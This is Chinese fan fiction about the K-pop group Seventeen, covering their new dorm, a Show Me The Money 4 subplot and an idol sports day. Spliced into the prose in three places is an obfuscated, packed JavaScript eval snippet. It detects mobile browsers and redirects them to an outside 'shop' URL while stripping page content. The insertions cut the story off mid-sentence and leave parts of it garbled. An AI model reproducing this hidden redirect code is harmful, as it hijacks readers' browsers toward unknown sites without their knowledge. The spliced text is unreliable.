这把就是直接把结局放在了明面上,洪知秀直接第一轮就猜出了‘□□是谁’,赢得了比赛。权顺荣不想一个人,跑去和李知勋商量做了室友,两个作息差不多的住在了一间。洪知秀选了姜里树做室友选的是二楼,金珉奎和崔瀚率则是选了三楼最后一间 “现在全部选好了房间和室友,我再整理一下。三楼是净汉,明浩自己各一间,俊辉、胜宽一间,瀚率和珉奎一间,知勋和顺荣一间。二楼是硕珉和灿尼一间,我与知秀一间,胜澈和圆佑一间,空出来带露台的那间可以打通改成别的。”分配方案确定后,姜里树拿着记好的名单,最后向所有人确认了一遍。 见没有任何人提出异议,他点点头,宣布: “好了,现在大家可以把自己的行李,搬进各自的卧室了。” “内!” 听到指令,孩子们齐声应道,随即像一群收到信号、四散飞离的小鸟,纷纷跑向庭院里堆放的行李,开始往各自的新房间搬运。 “知勋啊,陪我一起去一下地下一层的录音制作室吧”,姜里树把自己的东西简单搬进和洪知秀一起的房间后,转身就去了三楼,敲了敲开着的门,对里面的李知勋和权顺荣说道,“顺荣也一起来吧,刚才大致看了一下,地下一层好像还有一间舞蹈练习室。” “录音室?” “舞蹈室?!” 李知勋和权顺荣刚才只忙着惊叹地上三层的宽敞房间和窗外风景,确实还没来得及去看地下两层。 此刻听到姜里树说地下一层不仅有专业的录音制作室,还有一间舞蹈练习室,两人都愣了一下,脸上露出了毫不掩饰的震惊。 这配置,也太超规格了吧? 三个人下到地下一层。权顺荣直奔舞蹈室,一打开里面的专业音响和灯光设备,感受了一下空间的声场和氛围,脸上立刻露出了巨大而纯粹的惊喜。这里的布置和设备,竟然比公司总部的练习室还要专业、还要舒服! 另一边,李知勋和姜里树走进了录音制作室。空间大得令人咋舌,外面的控制室宽敞得能轻松坐下十个人一起工作;里面的录音间也足够容纳七个人同时进行录制。 这配置,简直比公司现有的录音棚还要大、还要好上不止一个档次。 李知勋看着眼前这一切,忍不住抬手捂住了嘴,眼睛里满是不可置信。公司这是给他们安排的什么“神仙宿舍”?!这配置也太夸张了,完全不是一个刚出道、且公司经济状况众所周知的Pledis能负担得起的规格…… 难道公司真的中彩票了吗?? “知勋,你来一下。”姜里树的声音从控制室那边传来,带着一丝疑惑。 李知勋闻声走过去,看到姜里树正蹲在控制室里放着的会议桌下方,从桌子底下拖出了两个并排放着的、外观简约却质感高级的银白色手提箱。 “你看一下这个。”姜里树指了指箱子,示意李知勋和他一起打开看看。 “……是耳麦和手麦!” “根据你们最新一次体检数据,为你们专人定做了耳麦和手麦。” 姜里树拿起箱子表面放着的一张卡片,一字一句地读着上面清晰的打印体文字。 “歌手怎么能没有好的装备。戴上公司为你们准备的‘福利之二’,努力在舞台上大放光彩吧。” 读完,他抬起头,和身边的李知勋无声地对视了一眼。居然从他的眼睛里读出了,‘公司是不是中彩票了的情绪’,笑了出来,却什么也没有多说。 “先叫上顺荣,”姜里树合上卡片,做出了决定,“我们拿上去,给孩子们一起试试吧。” “走吧!” 连一向冷静的李知勋,此刻也有些压抑不住内心的喜悦和一丝亢奋。他利落地合上盒子,脚步轻快地就去隔壁舞蹈室叫还在里面沉醉的权顺荣,准备一起上楼,把这个惊喜分享给所有人。 这确确实实的礼物,让楼上的孩子们又是一阵抑制不住的高呼和惊叹。 李硕珉尤其高兴。因为之前耳朵动过手术,他的耳麦是专门根据他耳朵的特殊情况定制的,和其他成员的款式都不同,佩戴起来格外舒适,完全没有负担感。这份细致的考量,让他心里暖烘烘的。 就在孩子们把最后一批行李拖进各自房间,正满头大汗、琢磨着怎么摆放的时候—— ‘叮咚。’‘叮咚。’‘叮咚。’< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205965|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>所有人的手机,几乎在同一时间,接连响起了密集的通知音。他们疑惑地掏出来一看,是公司发来的【5月-6月行程预排表】。 点开附件,那密密麻麻、一眼望不到头的文字和表格,光是扫一眼,就让人忍不住犯困,头皮发麻。 孩子们看着屏幕上那片“文字狱”,顿时从新家的兴奋中清醒过来,客厅和走廊里响起一片此起彼伏的哀嚎。 “啊——好多字!!” “明天就开始有行程了?!” 是的,如果不是因为这次突如其来的搬家安排,这些紧密的行程,本来从今天就应该开始了,更何况过两天就是他们首张迷你专辑《17 CARAT》发行时间了。 Seventeen昨天那场一小时出道直播,反响出乎意料地好。他们那种清爽、明媚、充满生命力的少年感,像一阵新风,直接在以“烟熏火燎”为主流风格的同期市场中,独树一帜地杀了出来,让所有观众眼前一亮。 喜欢,就会好奇。好奇,就会去了解。 于是,《SEVENTEEN TV》的日常记录,和《SEVENTEEN PROJECT》里那些真实的挣扎、汗水与成长,迅速被新入坑的粉丝们“扒”了出来。这又稳稳地吸收了一大批被他们的真诚、才华与团魂打动的粉丝。 当然,也少不了冲着孩子们漂亮外形和有趣性格来的,或是深深着迷于他们之间那种有爱、自然、毫不做作的相处模式的。 总而言之,公司的官网和各大社交账号,一夜之间涌入了数量可观的新粉丝。市场的热烈反馈,直接化作了手中这份沉甸甸的、排到几乎令人窒息的行程表。 所以,这既是压力,也是甜蜜的负担——是梦想照进现实后,必须承受的重量。 但哀嚎归哀嚎,手上的动作却没停。一种“痛并快乐着”的复杂情绪弥漫开来——一边是出道后扑面而来的、真实而沉重的日程压力,另一边则是对崭新起点和未来活动的隐隐期待。 他们揉了揉眼睛,叹了口气,把手机塞回口袋,然后认命地继续弯下腰,和满地板的行李“搏斗”,开始真正构筑这个属于Seventeen的新家。 接下来的日子,Seventeen彻底进入了高速运转的轨道。 成员们的身影不断出现在各大音乐节目的打歌舞台,在密集的行程中反复打磨着初出道的锋芒。与此同时,团队影响力的拓展任务也同步启动,部分成员开始涉足综艺领域,而冲在最前线的,正是夫胜宽。 为了能让Seventeen被更多人看见、拥有更广阔的舞台,夫胜宽几乎将自己活成了一个不知停歇的陀螺。只要团队能接到的综艺邀约,无论大小,他几乎都全力接下,在镜头前燃烧着自己的艺能感和活力来宣传SEVENTEEN。 公司很快察觉到了这种全靠成员个人本能驱动的模式不可持续,也意识到了团队在系统性综艺策划与资源对接上的短板。他们没有让夫胜宽继续独自硬扛,而是迅速聘请了专业的综艺经纪与策划人员,组建专门小组。令人安心的是,公司明确表示,这个小组将以夫胜宽为核心,充分尊重他的想法与节奏,由他主导筛选和参与适合团队和成员们调性的节目,旨在科学、高效地开拓市场,而非透支任何一个成员。 就此事,Seventeen全体成员被专门抽空召回公司,开了一个正式的会议。会议的核心内容,正是关于“各项专职对接工作人员”的明确与分配。 会议核心明确。为贯彻SEVENTEEN“自给自足”形象理念,公司股东方将从本土专职团队和重国专职团队筛选聘请,组建成为专属SEVENTEEN的专职支持团队,涵盖一个正规艺人团队该有的一切。 如果哪里有想法随时可以上报申请。公司评估通过后,将立刻协调专属团队对接实施。 等到会议结束,一行人恍恍惚惚走到公司新装修、焕然一新的舞蹈室时,孩子们都还没从这一连串的信息中缓过神来。 这些接连不断、分量十足的惊喜与支持,密集得让人茫然。仿佛过去练习室里流过的所有汗水、咽下的所有委屈,都被一股温柔而强大的力量看见,并迫不及待地,想要一次性地、全部补偿给他们。 还没等他们的大脑程序运行成功,经纪人哥就来到练习室通知崔瀚率是否想要参加《Show Me The Money 4》。 “最晚什么时间答复?”姜里树皱了一下眉问经纪人。 “最晚今天六点前回复。”经纪人看了眼时间,给出了截止点。 “我们和瀚率商量一下,会尽快给哥答复的。” 按理说,对于刚出道的他们尽量是有综艺就上的,但是姜里树还是要问问崔瀚率的想法,他不太了解Rap圈,也知道他们圈内戾气太重,对这个节目不太有好感的。 “hiong,”崔瀚率的声音清晰而平静,他看着围在身边的哥哥们,眼神里有着属于他自己的、安静的决心,“我想去试试。” 大家都在为了团队拼命奔跑,他不想一直只躲在哥哥们的身后,被保护着。 他也想站出去,亲自去试试看。 姜里树和崔胜澈对视了一眼,交换了一个眼神。崔胜澈作为队长,先点了头:“既然Vernon自己想试试,那就去吧。” “正好那个时间段,我没有其他通告。”姜里树随即接上,语气温和却不容商量,“我陪你一起去。” 其他人也点点头,最终还是不太放心让自家这个性格单纯安静的忙内,独自去面对那个可能复杂的环境,有家里最大的哥哥陪着,应该没什么问题的吧? 26. 26. “双喜临门” “Show Me The Money 4”录制现场第二天。 今天,姜里树衣领内侧别好了微型摄像头。昨天只用手机录音,他觉得远不够。 回想第一天,他带着崔瀚率踏进录制区域。那些明里暗里、带着审视与轻蔑的视线便从四面八方粘了过来。几个扎堆的参赛者甚至懒得掩饰,用恰好能飘进他们耳朵的音量,说着些“偶像也来玩这个?”、“节目现在什么人都能来了”之类的风凉话。 姜里树当时站在崔瀚率身侧,脸上平静无波,心里却冷冷地笑了一声。他没去争辩,也没看向声音的来源,只是抬手,轻轻将弟弟肩上挂着的耳机拿起来,替他戴好,隔绝了那些嘈杂。 垃圾说话,不听也罢。 而现在,他本以为只是撞见了一两个垃圾。 没想到,这整个就是个垃圾场。 当他看到弟弟被那个评委故意点名留下,而周围人脸上纷纷露出那种微妙、了然甚至带着点看好戏的表情变化时,姜里树明白了。 那家伙,居然还以为自己做了件对弟弟多么了不得的“恩情”呢。 “里树哥……” 崔瀚率下台后带着点没太反应过来的茫然和细微的委屈,走到姜里树身边。他以为凭自己现在的实力,第一轮就会被刷下去的。他来这儿,本就是为了向前辈们学习,和宣传一下团队的。 他是真的不明白,那个导师,为什么会特意留下他。 “没事,别怕。我在这里呢。” 姜里树抬起手,很轻地揉了揉弟弟的头发,声音低沉而平稳,带着一种让人安心的力量。他当然知道崔瀚率不会就这么轻易离开的。 “既然那位导师‘特意’留下了你,”姜里树的语气里听不出情绪,只是陈述一个事实,“那我们就留下,继续比赛。” “你只管放心去比赛。其他的,一切有我。”他看着崔瀚率,目光沉静而坚定。 “嗯!” 崔瀚率用力点了点头,努力把哥哥那句“一切有我”的话听进心里,让自己安下心。 哥哥就在他身边陪着他。 不会有事的。 姜里树黑色帽檐下的绿眼睛,变得越来越幽深、沉静。 他看着台上那个连弟弟名字都念不对的选手,用着东拼西凑、逻辑混乱的词,在台上公开diss被导师“突发奇想”留下的崔瀚率。 那一瞬间,姜里树真的被气笑了,嘴角扯出一个没有温度的弧度。 然后,他听到那个导师,又一次,把瀚率留了下来。 帽檐下的那双绿眸里,最后一点温度也褪去了,只剩下冰冷刺骨的审视。 当晚回到宿舍,姜里树让其他累了一天的孩子都先去洗漱休息。 他自己则面无表情地坐在厨房的餐台边,打开了笔记本电脑,屏幕的光映在他没什么情绪的侧脸上。他正在给通讯录里的某个人,一条接一条地发送着信息。 [树:录音附件①56.3MB,视频附件①2.6GB] [魔王:怎么?要处理掉吗?] [树:能把那个导师和这个选手“解决”掉吗?] [魔王:这在你圈子里不是最简单的手段吗?挖黑爆料一条龙,还用我来?] [树:我现在可是公众人物哎~?╭╮?] [魔王:滚犊子好吗,滚。] [树:音频附件5.6MB] [树:帮不帮。] [魔王:……你狠,帮。] [树:‘谢~谢~努~拿~’:-D] 姜里树看着对面不再有回复的对话框,轻轻地、终于有点温度地笑了一下。 原来他姐……居然还吃这套? 他让今天录制结束的崔瀚率,对着他的手机,用最平静的语气,清晰地录了一句话。 五秒不到。杀伤力……居然这么大啊。 白天。 “瀚率啊,来。”姜里树对有点困倦的弟弟招了招手。 “哥,怎么了?”崔瀚率揉了揉眼睛,努力让自己看起来精神一点。 “来,对着哥的手机,说一句话。”姜里树把手机录音界面调出来,举到他面前,然后用最平静无波、甚至有点冷漠的语气,示范撒娇道:“跟哥学——‘谢谢南与努拿~’。” “hiong?!”崔瀚率瞬间清醒了,眼睛瞪得溜圆,里树哥终于也疯了吗?! …… 就是这样。既然要解决那两个“垃圾”是为了帮弟弟,那么撒娇卖好话的活儿,只能弟弟自己来了。 姜里树本人是对他姐撒不了这个娇的,一点也干不了。 而且,他们Seventeen四舍五入也算他姐的“重要资产”之一,这活儿不就应该她来干吗! 如果照这样继续放任下去,他姐损失的顶多是一笔投资,而弟弟们失去的,可是实打实的声誉和快乐的心情啊! 坑姐这条路上,他一直遥遥领先。 再者,他也是付了“报酬”的,那可是未来Hip-hop明日之星、Rap之神的崔VERNON亲口喊的一声“南与努拿”啊,这一般人能听到吗。 想到这样珍贵的“报酬”,他居然还有十二种,姜里树就觉得一阵由衷的开心。他就开始对着发光的电脑屏幕,趴倒在臂弯里无声地笑了起来。 姜里树已经迫不及待的想要看明天的好戏了。 当那些人不为人知、人面兽心的事被抖落出来的时候,会不会还是这般狗眼看人低的样子呢。会不会也有人“义愤填膺”的提笔写词,狠狠把他们diss一通呢?想想都觉得有意思。 “里树?”崔胜澈在楼梯上望着趴在餐厅吧台上的姜里树,看着他肩膀不停颤动,一时间分不清他是在哭,还是怎么了。 “里树……?” 崔胜澈这次轻轻走近,停在了吧台边。他又低低唤了一声,声音比刚才更软了些,像是怕惊扰了什么。 灯光昏暗地洒在姜里树微微颤动的背上,他的肩膀一下又一下地起伏,像被什么压得喘不过气。崔胜澈站在他身边,突然有点犹豫。他听不见抽泣,还是辨不清这究竟是哭,还是只是累了。空气里只剩下空调低沉的嗡鸣,和窗外隐约传来的虫鸣声。 “嗯?胜澈啊,怎么还没睡?”崔胜澈叫了好几声,姜里树才从自己的情绪里缓缓抽离。他撑着吧台直起身,指尖无意识地掠过眼角,那里还留着笑得太开心时沁出的湿润。 崔胜澈的目光却沉了下来。他看见那抹水光,呼吸不自觉地紧了紧,声音里带上了薄薄的焦灼:“怎么回事?是不是在节目里有人给你们委屈受了?”他伸手,轻轻拉开姜里树揉着眼睛的手,转而用滚烫的掌心捧住了对方的脸颊。视线交汇处,他的目光直直地探进他眼里,生怕错过他任何想要藏起来的情绪。 “啊,都已经解决好了,明天就能有结果了。”姜里树眨了眨眼,声音里还带着未散的笑意。他说得轻描淡写,还疑惑崔胜澈知道的也太快了吧。 “解决什么?”崔胜澈的脸色渐渐沉了下来,声音里的温度也低了几分。 “……”糟了,说漏嘴了。 姜里树呼吸一滞。 他下意识想往后躲,想把脸从崔胜澈的掌心里挪开。 可那只手比他更快,一手掌就掐住了姜里树的半张脸,拇指无意识地蹭过他的脸颊。力道不重,另一只手擦去他眼角的泪痕,带着不容后退的意味。 崔胜澈靠近了些,眼睛直直望进姜里树闪烁的眼底。距离近得能看清对方睫毛细微的颤动。 “告诉我,”他的声音压得又低又稳,“解决什么?所有的事,完整地说一遍。” 这话听起来平静,却像一张细细的网,悄悄罩住了姜里树所有的退路。 “……凶唔干森么!”他声音低低地传来,像在抱怨,又像示弱。姜里树被圈在他与吧台之间,却还是不安分地动了动。他伸出手,轻轻握住了崔胜澈的手腕,想挪开他的手掌,指尖还带着几分讨饶的意味。 可崔胜澈的目光和手掌并没有松动。 姜里树这回用了力气,手指紧紧握住崔胜澈的手腕往外推。他皱起眉头,声音有些发闷:“先松开……这样我说不出话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“爆!SMTM4,真的专业吗?竟然能凑出如此‘卧龙凤雏’?是否有黑幕?” “爆!SMTM4恶意剪辑录制,至今已有这么多人受到不公平对待!!” “爆!SMTM4被停播整改!!!” …… 清晨的天光刚漫过窗沿,姜里树已经端着咖啡坐到了餐桌前。他握着温热的马克杯,指尖在手机屏幕上一下下轻划,刷新着新闻页面。 当那片赤红色的爆款标题猛然跃入眼帘时,他动作顿了顿,推送栏里挤满了标着“爆”“沸”字样的头条,一条压着一条,实时热度还在不断攀升。 他原本只想着能看到三四条相关报道就足够了。 姜里树眨了眨眼,忽然低头抿了一口咖啡。嘴角却无声地弯了起来,越扬越高,几乎要藏不住那份雀跃。 他正要转身进厨房,手机忽然“叮咚”一响。 屏幕亮起,是公司发来的数据简报: 「SEVENTEEN 首日专辑销量:520张 首周专辑销量:1924张 首月专辑销量:5693张 ——目前仍在持续增长中」 姜里树还没来得及做出反应,楼上骤然爆发出此起彼伏的尖叫声,几乎掀翻屋顶。整栋别墅仿佛瞬间被声浪唤醒,所有睡梦中的成员都被惊得坐了起来。 姜里树握着手机,听着楼上越来越沸腾的欢呼与脚步声,忍不住摇了摇头,嘴角却悄悄弯了起来。 他几乎能想象出接下来的画面。被硬生生吵醒的“大小魔王”顶着低气压推开房门,眯着眼睛看向那群还在楼道蹦跳的弟弟们。 果然,楼上传来崔胜澈带着睡意却异常清晰的警告:“呀!……现在才几点啊——” 刚刚起床下楼的文俊辉没说话,只是默默捡起一只不知谁甩飞的拖鞋,轻轻放在了楼梯口。 姜里树低下头,肩膀轻轻颤了颤,把笑声抿进了晨光里。 27. 27.‘翠翠?\’ 八月首尔的凌晨,清潭洞的别墅区浸在一片静谧里。暑热的黏腻还没散尽,晚风裹着草木的淡香,拂过修剪得宜的绿篱。 独栋别墅的窗棂漏出零星暖光,与路边昏黄的街灯交织,在平整的柏油路上投下斑驳的影。偶有凌晨出行的汽车驶过,引擎声轻得像一声叹息,转瞬便被夜色吞没。天边泛起极浅的青灰,晨雾悄悄漫上庭院的草坪,打湿了花瓣上的露水。 天光渐亮,姜里树迷迷糊糊感觉到怀里的温度。他半梦半醒地动了动,轻轻拍了拍蜷在自己身边的洪知秀唤醒他。 “知秀啊……知秀……该起来了……”姜里树的声音还带着刚醒的沙哑,像含着一捧温软的羽毛。他得在经纪人送来早餐前,去把其他孩子们一个个叫醒。 洪知秀在他怀里动了动,睫毛颤了几下才勉强睁开,声音黏糊糊地拖得很长:“里树……好困……” 说着又往他肩窝里蹭了蹭,像只不愿离窝的猫。 姜里树轻轻抚了抚他的头发带着温淡的无奈,毕竟就连他也差点没能起来。 这也是没办法的事。从出道那天起,日子就像上了发条。打歌舞台一个接一个,七月好不容易全员聚齐,转眼又要奔赴新的行程。新专辑的筹备已在日程表上悄然铺开,录音、练舞、拍摄——所有齿轮早已严丝合缝地转动起来。 时间不会等他们睡醒。 “不能再赖床啦。”姜里树轻声说着,小心地将手臂从洪知秀颈下抽出来,自己先坐起了身,“我先去洗漱,你也快起吧。今天还有新行程呢。” 他揉了揉眼睛,赤脚踩在地板上,晨光已经爬上窗沿,是时候让这一天,开始了。 姜里树快速洗漱完,换上衣服,就开始今日的“唤醒服务”。他先上了三楼。轻手轻脚地推开几扇房门,唤醒那些容易叫醒的孩子。 文俊辉已经坐起身,正揉着惺忪的睡眼;夫胜宽还迷迷糊糊地把自己卷在被窝里,只露出毛茸茸的发顶。隔壁房间传来隐约的水声,进去叫人的时候,李知勋正在洗漱,权顺荣已经换好了运动服,正对着镜子整理衣领。 走到崔瀚率和金珉奎房门口,姜里树轻轻推开门。崔瀚率正弯着腰,试图把金珉奎从被子里“拔”出来。好在拉了两下,金珉奎就皱着眉撅着嘴坐起身,头发乱糟糟地翘着。 最后是两个单独房间的孩子。尹净汉和徐明浩都让他很省心,两人已经穿好了昨天发放的统一运动服,安静地整理着背包,像是早就适应了这样匆忙而有序的清晨。 接着他下楼回到二楼,先走向李硕珉和李灿的房间。毕竟这两个孩子最让人放心,只要休息够了,李硕珉自己就会利落地起身活动;而李灿是那种只要被轻轻叫起来,就会乖乖醒来的类型。从不需要反复催促。 姜里树在门口停了停,听见里面已经传来窸窣的动静。他微微笑了笑,转身走向最后一个房间。 推门进去时,全圆佑已经不在床上,洗手间传来隐约的水声。只有靠墙的那张床上,被子裹成了一团紧实的白球,动也不动。 姜里树在床边坐下,伸手轻轻推了推那个团子:“澈哩——胜澈哩——Wake up——” 他的声音带着晨起时特有的温软,像在叫醒,又像在哄。 崔胜澈在睡梦中听到自己的名字,几乎是条件反射地举起了手。他迷迷糊糊地伸了个大大的懒腰,又在被子里蛄蛹了几下,最后慢吞吞地翻过身,把脸埋在了姜里树的腿上。 “……拉我起来,”他的声音闷闷地从布料间传来,带着浓浓的睡意和一点点耍赖的鼻音,“拜托了。” “哎一古,快点起来,你是最后一个了。”姜里树嘴上这么说,手却已经拍着他的背,接着顺从他耍赖的要求,掀开他,双手从崔胜澈腋下穿过,用上力气稳稳地将人抱坐了起来。 崔胜澈也乖乖配合,手臂自然地环上姜里树的脖子,借着对方的力,迷迷糊糊地直起了身子。 “听话,快清醒一下,”姜里树轻轻拍了拍他的背,“我得先下楼看看振宇哥到了没。” 说着,他便想松开手,可崔胜澈环在他颈后的手臂却没有要放的意思。 “里树哥,我来吧。” 全圆佑已经洗漱完毕,从衣柜里取出崔胜澈的运动服。他走到床边,自然地弯下腰,对着崔胜澈还环在姜里树脖子上的胳膊肘,不轻不重地咬了一口。 “嗷呜!” 崔胜澈瞬间松了手,捂住胳膊肘蜷了起来,倒也省得姜里树自己下嘴了。 姜里树笑着揉了揉崔胜澈睡乱的头发,又顺手在全圆佑发顶轻轻一抚,便转身往门外走。身后传来崔胜澈哼哼唧唧的嘟囔,他也没回头安慰那只委屈的小猪包,只是背对着挥了挥手,带上了门。 “如果我今天跑步没夺冠,一定是因为你咬我!”崔胜澈还趴在被子上,头也不抬地伸出手,隔空指向全圆佑,声音闷闷地从枕头里传来。 全圆佑正把运动衣放在崔胜澈指着他的手上,闻言看着他,语气平静:“哥,这锅我不背。” 姜里树下楼去给大家煮咖啡,等着一会儿就来的经纪人哥。 晨光透过窗帘缝隙,跟随着他的脚步,一点点点亮了整个宿舍。 说来也像某种默契的安排,从练习生时期就出了名的几位“起床困难户”,如今恰好都与早起型成员分在同一间房。文俊辉和夫胜宽一间,崔瀚率与金珉奎同屋,李硕珉和李灿也彼此照看。这样的搭配,让每个醒不来的清晨,都至少有一只温柔推着的手。 一行人吃完经纪人带来的早餐,又喝了咖啡提神,便集体出发前往体育馆,准备录制中秋特辑“偶像运动会”。 经纪人哥之前给他们发消息让他们报名的时候,不少成员报了名,姜里树则是在不知情的情况下参加了射箭、四百米接力和篮球。 比赛那天,先是崔胜澈的男子组六十米短跑比赛,紧接着是姜里树参加的能立马出结果的射箭比赛。 上午射箭比赛完,下午姜里树有场四百米接力比赛,接力比赛结束后是尹净汉和金珉奎的足球比赛,他们结束后就是姜里树和崔瀚率一起的篮球比赛。 所以等拿到比赛项目清单时,姜里树眼前一黑。他转头看向经纪人振宇哥,指着表格的手顿了顿:“哥,这是什么情况?而且我也没报那么多啊…我们打歌行程一天之内都没排这么满过。” 振宇哥拍了拍他的肩,语气有点无奈:“上面股东亲自给你报的名,说是让你重在参与,给SEVENTEEN拉一拉运动形象的路人好感。” ‘给SEVENTEEN拉一拉运动形象的路人好感’这行字像小锤子一样敲在姜里树脑门上。他盯着那行字看了两秒,突然把表格往桌上一按,在弟弟们的安慰声中,弯腰把脸埋进了臂弯里。现在有些“悲伤”,等真到了比赛现场上,埋头就是冲。 男子六十米预选赛果然结束得很快。枪响、起跑、冲刺,不过十秒不到,一组接着一组,像按了快进的胶片。 轮到崔胜澈上场时,刚冲过终点,等在一边的弟弟们就呼啦一下围了上去。递水的、擦汗的、蹲下来帮他按腿的。成绩怎么样根本没人在意,最重要的是他们家里兜哥辛苦了。 没过多久短跑比赛结束,场地开始微变,改成了射箭比赛场地。 所有成员都在候射区。 “哥你别紧张!”文俊辉握着他的手揉了揉,自己的指尖却抖得比姜里树还明显。 李知勋站在一旁抿嘴笑着,嘴角却有些不易察觉的紧绷。金珉奎也凑过来替他揉肩,试图帮姜里树缓解一下肩膀肌肉,就是捏起来有点硌手,他哥是不是有点太瘦了。 “SEVENTEEN的姜里树xi,该你上场准备了,请尽快哦。”现场工作人员小跑过来提醒道。 “内!我知道了,这就过去,辛苦您了。”姜里树立刻起身,带着身旁的弟弟们一起向工作人员鞠躬致意。 “别紧张,我去了。”姜里树拿起弓,转身走向赛道。 身后瞬间响起弟弟们拔高的应援声: “哥!加油!!!” “怀挺——!!!” [比赛解说员1:“看,正在上场的那位!是最近刚出道的SEVENTEEN组合的大哥,刚刚参加短跑的S.COUPS就是他的队长,哇哦——站上赛场的架势很有气场啊!”] [比赛解说员2:“他的眼睛颜色很特别呢,好漂亮的翡翠色!”] 镜头适时推近,特写定格在姜里树微微垂眸调整弓弦的侧脸上。那双翠色的眼在灯光下清晰映出专注的光。 姜里树上场后,先向同场竞技的前辈们微微躬身致意,随后便快步走向自己的位置。 他垂下眼,手指抚过弓身,呼吸轻缓地沉下来,不过几秒,整个人已完全进入状态。搭箭、开弓,动作流畅得仿佛已经练习过千百遍。 “咻——” [裁判:“首发,十环。”] 观众席上SEVENTEEN的粉丝区瞬间爆发出欢呼,连带着候场区的成员们也忍不住跳起来惊呼。但很快,大家又默契地压低了声音,生怕打扰到其他还在比赛的选手。 那份沸腾的喜悦,被小心地收拢成一片克制的雀跃。 再次轮到姜里树第二发射箭。 “咻——” [裁判:“第二发,十环。”] 又是一阵压低却掩不住激动的轻呼。 第三箭、第四箭——直到最后一支箭破空而出,稳稳扎进靶心。 五箭,全部十环。 场边骤然掀起一片真实的欢呼。这一刻似乎不再分谁家的偶像、谁家的哥哥,许多人只为这干净利落的五个十环,忍不住站起来鼓掌。 从预赛到决赛,他的箭几乎像被牵引着一般,一支接一支钉入靶心。惊人的准确率让现场渐渐安静下来,每一次拉弓都像重复着同一个精准的刻度,稳定得近乎寂静。 金牌到手。 体育场内再次欢呼起来。 [比赛解说员1:“哇——亲加?这孩子真的不是射箭运动员转型成为爱豆的吗?”] [比赛解说员3:“现在去当射箭运动员也不晚啊。哇,真是大发…”] [比赛解说员2:“哇哦——长的那么好看,射箭时候的专注样子就更好看了呢!”] [比赛解说员4:“快点把你的口水收起来,别吓到这孩子了啊。”] 比赛结束的哨音刚落,SEVENTEEN的孩子们已经簇拥着姜里树,像一阵喧闹而快乐的风,涌向了距离自家粉丝最近的休息区。 他们坐在最边缘的位置,朝着那片SEVENTEEN应援位置挥手、笑得毫无保留。这一刻的喜悦,就是要和最珍惜的人们共享。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205967|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 午餐时间,所有偶像团体都在体育场中心统一用餐。 SEVENTEEN和到场的粉丝们,都由公司照顾安排了同样的餐食。几位经纪人哥忙前忙后,先给成员们发完,又赶紧去给粉丝区分发。人手一份的两荤一素盒饭,搭配米饭,还准备了两种口味可选,连瓶装水都细心备好了。 孩子们和粉丝捧着一样的饭盒,隔着一片场地,低头吃着一样的菜。偶尔有成员抬头朝看台方向笑笑,那边就会传来小小的、温暖的欢呼。 姜里树最先吃完,刚摘下帽子想往草坪上一躺,就听见看台方向传来一声响亮的中文:“翠翠!翠——翠——” 他动作顿了顿,默默把帽子拉低了些,盖住了脸,还在想是哪家的女团成员叫这个名字。 那边停顿两秒,换成了字正腔圆的韩文全名:“呀!姜里树——!” 这次他抬起帽檐朝声音的方向望了过去,立马坐起身。 是他家粉丝孩子们,“翠翠”是在叫他? 姜里树一脸茫然的看着粉丝席。旁边的文俊辉和徐明浩也听到了熟悉的乡音,同时转过头,朝同一个方向望去。 ‘我?’姜里树用手指点了点自己,朝那个喊他的粉丝投去确认的眼神。是在叫我吗? 对方用力点了点头,还朝他挥了挥手里的统一的SEVENTEEN应援手幅。 他想先站起身,先朝SEVENTEEN粉丝席的方向轻轻摆了摆手,用口型示意:“别尖叫哦,会吵到别人。” 看到那片区域纷纷点头,他才放下心。刚要起身,背后帽子却突然一紧,背对他的崔胜澈的手还攥着他运动衣的帽子没放。 “?”姜里树疑惑地回过头。 “干嘛去?”崔胜澈没松手,抬眼看他,“没一会儿又要比赛了,还不抓紧歇会儿。” 说着轻轻一带,又把刚站起来的姜里树拉回身边坐下。 “孩子们在叫我呢。”姜里树指了指看台方向,那位粉丝还在努力朝他挥手。 崔胜澈顺着他的方向看了一眼,这才松开手:“好吧。” 刚准备再站起来,又被走过来的尹净汉挂住,“里树,干什么去呀~” “……”在沉默中又坐回去了的姜里树。 文俊辉和徐明浩对视了一眼,默契地站了起来。 看粉丝席那边已经笑得东倒西歪,而自家哥哥还被尹净汉挂在身上动弹不得。两人拍拍裤子上的草屑,决定替姜里树跑这一趟,总不好让孩子们一直等着。 “怎么啦?”徐明浩抬起头去看,用他软软糯糯的韩语轻声问那个喊姜里树的粉丝。 周围的粉丝们在他们靠近时拼命捂住嘴,把尖叫声压成激动的气音,眼睛亮亮地看着两人,都是一副被可爱到的样子。 “本来想叫一下RISU的,”那位粉丝小姑娘不好意思地摸摸后脑勺,“但喊了‘翠翠’他没理我……我一急,就喊了全名。” 她说着,脸颊微微红了起来。 “啊~这样啊,”文俊辉把手搭在徐明浩肩上,好奇地歪了歪头,“但为什么要叫哥‘翠翠’呀?这名字好可爱。” 